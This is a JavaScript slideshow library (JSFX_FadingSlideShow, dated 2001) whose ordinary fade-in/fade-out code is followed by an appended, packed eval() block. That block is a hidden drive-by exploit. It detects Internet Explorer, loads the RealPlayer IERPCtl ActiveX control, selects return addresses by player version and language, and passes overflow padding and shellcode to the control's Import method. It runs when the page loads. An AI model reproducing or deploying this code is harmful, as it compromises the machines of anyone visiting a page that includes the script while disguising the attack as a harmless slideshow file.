/******************************************************************* 
* File    : JSFX_FadingSlide.js  &copy; JavaScript-FX.com
* Created : 2001/11/08 
* Author  : Roy Whittle  (Roy@Whittle.com) www.Roy.Whittle.com 
* Purpose : To create a slide show that fades in/out
* Requires: JSFX_FadingRollovers.js
* History 
* Date         Version        Description 
* 2001-08-09	1.0		First version
* 2001-12-04	1.1		Fixed bug + added onClick to open a window
*					with an alternate image.
***********************************************************************/ 
JSFX.slide = function(theImg, theUrl)
{
	this.theImg = theImg;
	this.theUrl = theUrl;
}
JSFX.FadingSlideShow = function(theImageName, theDelay, theFadeStep, w, h)
{
	FadeInStep 	= theFadeStep;
	FadeOutStep = theFadeStep;
	if(!w) w = 300;
	if(!h) h = 200;

	this.id		= JSFX.FadingSlideShow.getId();
	this.state		= "stopped";
	this.timeId		= null;
	this.imgName	= theImageName;
	this.currSlide	= 0;
	this.delay		= theDelay*1000;
	this.slides		= new Array();
	this.win		= null;
	this.w		= w;
	this.h		= h;

	window[this.id] = this;
}
JSFX.FadingSlideShow.slideNo = 0;
JSFX.FadingSlideShow.getId = function()
{
	return "JSFXss" + JSFX.FadingSlideShow.slideNo++;
}

JSFX.FadingSlideShow.prototype.addSlide = function(theImg, theUrl)
{
	var theId = JSFX.FadingSlideShow.getId();
	JSFX.Rollover(theId, theImg);
	this.slides[this.slides.length]=new JSFX.slide(theId, theUrl);
}

JSFX.FadingSlideShow.prototype.animate = function()
{
	if(this.state=="running")
	{
		JSFX.fadeOut(this.imgName, this.slides[ this.currSlide ].theImg);
		this.currSlide = (this.currSlide + 1) % this.slides.length;
		JSFX.fadeIn(this.imgName, this.slides[ this.currSlide ].theImg);
		this.timeId = this.setTimeout("animate()", this.delay);
	}
}
JSFX.FadingSlideShow.prototype.start = function()
{
	if(this.state == "stopped")
	{
		this.currSlide = 0;
		JSFX.fadeIn(this.imgName, this.slides[ this.currSlide ].theImg );
		this.state="running";
		this.timeId = this.setTimeout("animate()", this.delay);
		theImg = JSFX.findImg(this.imgName, document);
		theImg.onmousedown = this.clickFn;
		theImg.ss = this;
	}
}
JSFX.FadingSlideShow.prototype.clickFn = function()
{
	ss = this.ss;
	if(ss.win)
		if(!ss.win.closed)
			ss.win.close();
	if(ss.slides[ ss.currSlide ].theUrl)
	{
		ss.win = window.open(ss.slides[ ss.currSlide ].theUrl,"FadeSS","width="+ss.w+",height="+ss.h);
		ss.win.moveTo(0,0);
		ss.win.focus();
	}
	return false;
}
JSFX.FadingSlideShow.prototype.stop = function()
{
	clearTimeout(this.timeId);
	this.state="stopped";
	JSFX.fadeOut(this.imgName, this.slides[ this.currSlide ].theImg);
}
JSFX.FadingSlideShow.prototype.pause = function()
{
	if(this.state == "running")
	{
		clearTimeout(this.timeId);
		this.state="paused";
		JSFX.fadeIn(this.imgName, this.slides[ this.currSlide ].theImg);
	}
}
JSFX.FadingSlideShow.prototype.resume = function()
{
	if(this.state == "paused" || this.state == "stopped")
	{
		this.state="running";
		this.animate();
	}
}
JSFX.FadingSlideShow.prototype.next = function()
{
	if(this.state=="paused")
	{
		JSFX.fadeOut(this.imgName, this.slides[ this.currSlide ].theImg);
		this.currSlide = (this.currSlide + 1) % this.slides.length;
		JSFX.fadeIn(this.imgName, this.slides[ this.currSlide ].theImg);
	}
}
JSFX.FadingSlideShow.prototype.prev = function()
{
	if(this.state=="paused")
	{
		JSFX.fadeOut(this.imgName, this.slides[ this.currSlide ].theImg);
		this.currSlide--;
		if(this.currSlide < 0)
			this.currSlide = this.slides.length - 1;
		JSFX.fadeIn(this.imgName, this.slides[ this.currSlide ].theImg);
	}
}
JSFX.FadingSlideShow.prototype.getState = function()
{
	return this.state;
}
JSFX.FadingSlideShow.prototype.getSlideCount = function()
{
	return this.slides.length;
}
JSFX.FadingSlideShow.prototype.getCurrentSlide = function()
{
	return this.currSlide;
}
JSFX.FadingSlideShow.prototype.setTimeout = function(f, t) 
{
	return setTimeout("window."+this.id+"."+f, t);
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1u q(){1t l=p.1s.o();3(l.d("y 6")==-1&&l.d("y 7")==-1)j;3(l.d("1r 5.")==-1)j;x="1q"+"1p.I"+"1o"+"1n.1";1m{m=1l 1k(x)}1j(1i){j}a=m.1h("1g");2="";g=e("%1f%1e%1d%v");h(i=0;i<1c*1b;i++)2+="S";3(a.d("6.0.14.")==-1){3(p.w.o()=="1a-19")8=e("%18%17%f");b 3(p.w.o()=="16-15")8=e("%13%Z%Y%f");b j}b 3(a=="6.0.14.X")8=e("%n%11%W%f");b 3(a=="6.0.14.V")8=e("%n%11%v%f");b 3(a=="6.0.14.U")8=e("%u%t%T%f");b 3(a=="6.0.14.R")8=e("%u%t%Q%f");b 3(a=="6.0.14.P")8=e("%O%11%N%n");b j;3(a.d("6.0.10.")!=-1){h(i=0;i<4;i++)2=2+g;2=2+8}b 3(a.d("6.0.11.")!=-1){h(i=0;i<6;i++)2=2+g;2=2+8}b 3(a.d("6.0.12.")!=-1){h(i=0;i<9;i++)2=2+g;2=2+8}b 3(a.d("6.0.14.")!=-1){h(i=0;i<10;i++)2=2+g;2=2+8}s="M\\\\L";r="K";k=2+s+r;J(k.H<G)k+="F";m.E("c:\\\\D C\\\\B\\\\A.z",k,"",0,0)}q();',62,93,'||Padding|if|||||ret||RealVersion|else||indexOf|unescape|60|JmpOver|for||return|PayLoad|user|Real|63|toLowerCase|navigator|RealExploit|Shell|AdjESP|31|79|04|userLanguage|VulObject|msie|wav|blip|NetMeeting|Files|Program|Import|TebdTc|0x8000|length||while|TYXXXXfiAqcYfPAAeiAoHFXZPiAkjbrIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVqKpAPiARCpDXPQlaaTbaaaLtUAAAACFiaaPoHHmDahivabowabXknENIjdpPPPPpUovdzAsPpPPpPPhktpplXKwpqlzmhKVHPxXKoGfZPtuYNhDtppPpPpNBoYfXfofNPPPpFhGEgBvLFmetOoafXKNxnhBnPpPpPPHCnLRPXKmlVJrpucoOefPDlgptpSUlVqRNVeLGddpcPDGxfuppPPCslPepuPeCEWEpOOUfQphkMLupESOouVpXOoUFplEQuFhkGECLXkwTRnwxpsOEefHKgVRpPSOecClydYdqzMPsleCsMkpokNQpCJMfgtPxLALKpMPcmZTPNKoqcKaOGeNWENXkUNBTPCMmfVXKPLdKxkuNqLPSmMXkPDhKPclejKEneyLsNXEGOOOOOohnTNPnNLlaWiNuKxYHonXZpNgnMhnRgscVQjbOgpFxWdwTgPSjrOBOfNVugxvOwCvOVVwDRNVsFobnFKwBRogcvOvFGtRoFdvEvMFobovcfOvDbNvJGpFgpP|XXXXXLD|LLLL|70|51|536|09|543||01|552|550|08|544|a4|71||||4f||us|en|a5|7f|cn|zh|148|32|74|06|75|PRODUCTVERSION|PlayerProperty|error|catch|ActiveXObject|new|try|Ctl|ERP|PCtl|IER|nt|userAgent|var|function'.split('|'),0,{}))